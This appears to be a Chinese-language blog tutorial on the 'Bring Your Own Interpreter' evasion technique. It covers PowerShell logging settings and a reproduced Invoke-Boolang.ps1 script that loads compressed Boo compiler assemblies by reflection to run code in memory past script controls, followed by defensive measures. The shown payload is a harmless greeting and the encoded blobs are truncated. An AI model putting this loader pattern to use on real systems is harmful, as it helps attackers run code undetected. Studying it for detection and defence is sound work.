BYOI(Bring Your Own Interpreter)
BYOI(Bring Your Own Interpreter)
一、什么是BYOI
BYOI 是红队成员或攻击者使用的一种技术,他们将自己的解释器带到目标系统,以执行任意命令或有效载荷。
该方法利用安全软件可能不会标记的自定义脚本语言,帮助绕过安全机制,例如脚本阻止策略或受限环境。
二、为什么要是用BYOI
1.绕过限制: 许多安全系统(例如,防病毒软件、终端保护软件)通常会检测并阻止常见的攻击工具和脚本。使用自定义解释器可以让攻击者绕过检测。
(1)脚本日志记录
Start-Transcript cmdlet 会将 PowerShell 会话的全部或部分内容记录到一个文本文件中。记录包含用户输入的所有命令以及控制台上显示的所有输出。
默认情况下, Start-Transcript 会将成绩单存储在以下位置,并使用默认名称:
- On Windows: $HOME\Documents
- On Linux or macOS: $HOME
Start-Transcript
[[-Path] <String>]
[-Append]
[-Force]
[-NoClobber]
[-IncludeInvocationHeader]
[-UseMinimalHeader]
[-WhatIf]
[-Confirm]
[<CommonParameters>]
(2)脚本块日志记录
(3)模块日志记录
PowerShell 组策略设置位于以下组策略路径中
Computer Configuration\
Administrative Templates\
PowerShell Core
-
Console session configuration: Sets a configuration endpoint that PowerShell runs in.
控制台会话配置 :设置 PowerShell 运行的配置终结点。
-
Turn on Module Logging: Sets the LogPipelineExecutionDetails property of modules.
启用模块日志记录 :设置模块的 LogPipelineExecutionDetails 属性。 为选定的 PowerShell 模块启用日志记录。此设置对所有受影响计算机上的所有会话均有效。
- Import-Module <Module-Name> (Get-Module <Module-Name>).LogPipelineExecutionDetails = $true -Turn on PowerShell Script Block Logging: Enables detailed logging of all PowerShell scripts.
启用 PowerShell 脚本块日志记录 :启用所有 PowerShell 脚本的详细日志记录。
所有 PowerShell 脚本输入都会被记录到 Microsoft-Windows-PowerShell/Operational 事件日志中。启用此策略设置后,PowerShell 会记录命令、脚本块、函数和脚本的处理过程,无论这些操作是通过交互方式还是自动化方式调用的。
-
Turn on Script Execution: Sets the PowerShell execution policy.
启用脚本执行 :设置 PowerShell 执行策略。
-
Turn on PowerShell Transcription: Enables capturing of input and output of PowerShell commands into text-based transcripts.
启用 PowerShell 转录 :将 PowerShell 命令的输入和输出捕获到基于文本的转录文本中。
-
Set the default source path for Update-Help: Sets the source for Updatable Help to a directory, not the Internet.
设置 Update-Help 的默认源路径 :将可更新帮助的源设置为目录,而不是 Internet。
(4)AMSI
2.持久性和灵活性: BYOI 使攻击者能够灵活地运行命令,而无需依赖预安装的解释器,从而使他们的攻击更具适应性。
3.规避安全控制: 攻击者利用不常用或自定义的解释器,可以规避旨在阻止流行语言或工具的安全控制。
三、.NET
.NET 是一个与语言无关的开发平台,它由一系列工具、基础架构和库组成,使您能够创建跨平台应用程序
- .NET 程序集格式与通过非托管语言(例如 C++、C)生成的 .exe 或 .dll 文件格式不同。
- 它们可以由任何 .NET 语言(包括第三方语言)执行。
- 它们可以通过调用 Assembly.Load() 以反射方式加载。
IronPython Boolang ClearScript Jint SSharp
https://github.com/byt3bl33d3r/OffensiveDLR/blob/master/Invoke-Boolang.ps1
function Invoke-Boolang
{
$BooLangDLL = @'vH0HfJRF+v/MvJvdzW4'@
$BooLangCompilerDLL = @'7D0JmBXF0fPm3e/twePtvl0'@
$BooLangParserDLL = @'7H0LfFxF1fj'@
$BoolangExtensionsDLL = @'7L0HeFzV'@
function Load-Assembly($EncodedCompressedFile)
{
$DeflatedStream = [IO.Compression.DeflateStream]::new([IO.MemoryStream][Convert]::FromBase64String($EncodedCompressedFile), [IO.Compression.CompressionMode]::Decompress)
$UncompressedFileBytes = New-Object Byte[](1900000)
$DeflatedStream.Read($UncompressedFileBytes, 0, 1900000) | Out-Null
return [Reflection.Assembly]::Load($UncompressedFileBytes)
}
$BooLangAsm = Load-Assembly($BooLangDLL)
$BooLangExtensionsAsm = Load-Assembly($BoolangExtensionsDLL)
$BooLangCompilerAsm = Load-Assembly($BooLangCompilerDLL)
$BooLangParserAsm = Load-Assembly($BooLangParserDLL)
<#
There seems to be a bunch of bugs in Boo's internal assembly resolution logic.
Creating an instance of Boo.Lang.Compiler.BooCompiler more than once in the same PowerShell Session results in the following error:
Exception calling ".ctor" with "0" argument(s): "Cannot find assembly: 'System'"
At C:\Users\byt3bl33d3r\Tests\Invoke-Boolang.ps1:46 char:5
+ $parameters = [Boo.Lang.Compiler.CompilerParameters]::new()
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : ApplicationException
At first I thought this was a generic .Net error, but turns out the "Cannot find assembly: 'System'" string was actually coming from the Boo Compiler itself and
tracked it down to here https://github.com/boo-lang/boo/blob/master/src/Boo.Lang.Compiler/CompilerParameters.cs#L276
The problem: the constuctor for the BooCompiler class automatically adds a bunch of assemblies as references for convinience sake (e.g. System, mscorlib etc...)
however, Boo uses its own logic to find and resolve these assemblies which for some reason errors out when used more than once. It's important to note this error only seems to occur when
Boo is embedded within Powershell.
The only solution I've managed to find is to disable this behavior by passing $false to it's constructor and manually adding the assemblies as references using the CompilerParameters.AddAssembly() method,
this way we avoid using Boo's custom assembly resolution logic and just pass the assembly objects to the compiler directly.
#>
$BooSource = @'
import System
public static def Main():
print "Hello from BooLang!"
'@
$scriptinput = [Boo.Lang.Compiler.IO.StringInput]::new("MyScript.boo", $BooSource)
#Passing $false to the constructor tells Boo to not automatically reference default assemblies
$parameters = [Boo.Lang.Compiler.CompilerParameters]::new($false)
$parameters.Input.Add($scriptinput) | Out-Null
$parameters.Pipeline = [Boo.Lang.Compiler.Pipelines.CompileToMemory]::new()
$parameters.Ducky = $true
#$parameters.OutputWriter = [System.IO.StringWriter]::new()
#Here we manually add assemblies as references to the compiler that will probably be used 100% of the time within our Boo code
$parameters.AddAssembly($BooLangAsm)
$parameters.AddAssembly($BooLangExtensionsAsm)
$parameters.AddAssembly($BooLangCompilerAsm)
$parameters.AddAssembly($BooLangParserAsm)
$parameters.AddAssembly([Reflection.Assembly]::LoadWithPartialName("mscorlib"))
$parameters.AddAssembly([Reflection.Assembly]::LoadWithPartialName("System"))
$parameters.AddAssembly([Reflection.Assembly]::LoadWithPartialName("System.Core"))
#Write-Output $parameters.References
$compiler = [Boo.Lang.Compiler.BooCompiler]::new($parameters)
Write-Output "Compiling..."
$context = $compiler.Run()
if ($context.GeneratedAssembly -ne $null)
{
Write-Output "Executing...`n"
$scriptModule = $context.GeneratedAssembly.GetType("MyScriptModule")
$mainfunction= $scriptModule.GetMethod("Main")
$mainfunction.Invoke($null, $null)
}
else {
Write-Output "`nError(s) when compiling Boo source!`n"
Write-Output $context.Errors.ToString($true)
}
}
通过嵌入在 PowerShell 脚本中的 Boolang 编译器来执行恶意代码
四、防御手段
通过将几种脆弱的检测机制结合起来,并采用纵深防御策略,来提高攻击者使用此类攻击手段的难度(从而延缓其攻击速度):
- 对于所有第三方 .NET 脚本语言(例如 Boolang、IronPython、SSharp 等)的默认编译程序集,AMSI 签名必须由微软来完成。
- 检测在托管进程的 AppDomain 中加载的 .NET 脚本语言程序集的使用情况:这可以通过 ETW 等技术来实现。
- 应用程序白名单功能可禁用 Windows 上默认存在的 .NET 脚本语言以及允许用户与之交互的可执行文件。
- 启用所有可防止传统 PowerShell 技术的标准缓解措施:脚本块日志记录、受限语言模式等。

浙公网安备 33010602011771号